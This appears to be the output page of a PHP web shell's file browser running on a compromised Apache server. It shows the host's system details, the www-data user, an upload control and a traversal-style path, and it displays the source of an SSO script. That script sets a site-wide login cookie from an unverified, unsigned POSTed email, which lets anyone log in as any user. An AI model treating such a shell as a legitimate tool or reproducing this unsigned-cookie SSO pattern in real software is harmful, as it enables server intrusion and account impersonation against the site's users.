( ′∀`)σ≡σ☆))Д′)レ(゚∀゚;)ヘ=З=З=Зε≡(ノ´_ゝ`)ノ HEX
HEX
Server: Apache/2.4.58 (Ubuntu)
System: Linux mail.thebrand.ai 6.8.0-107-generic #107-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar 13 19:51:50 UTC 2026 x86_64
User: www-data (33)
PHP: 8.3.6
Disabled: NONE
Upload Files
File: /var/www/html/tmpr/..//tmpr/..//tmpr/../tmpr/..//tmpr/../tmpr/../tmpr/..//connect/issue_sso.php
<?php
// Issues a lightweight SSO cookie for Connect, shared by subapps.
// Cookie contains email and display name encoded as JSON. For demo purposes only.
// In production, use a signed token.

header('Content-Type: application/json');

$email = isset($_POST['email']) ? trim($_POST['email']) : '';
$name = isset($_POST['name']) ? trim($_POST['name']) : '';
if ($email === '') {
  http_response_code(400);
  echo json_encode(['success' => false, 'message' => 'Missing email']);
  exit;
}
$payload = json_encode(['email' => $email, 'name' => $name, 'ts' => time()]);
setcookie('connect_sso', $payload, time() + 60 * 60 * 24 * 30, '/', '.thebrand.ai', true, true);
echo json_encode(['success' => true]);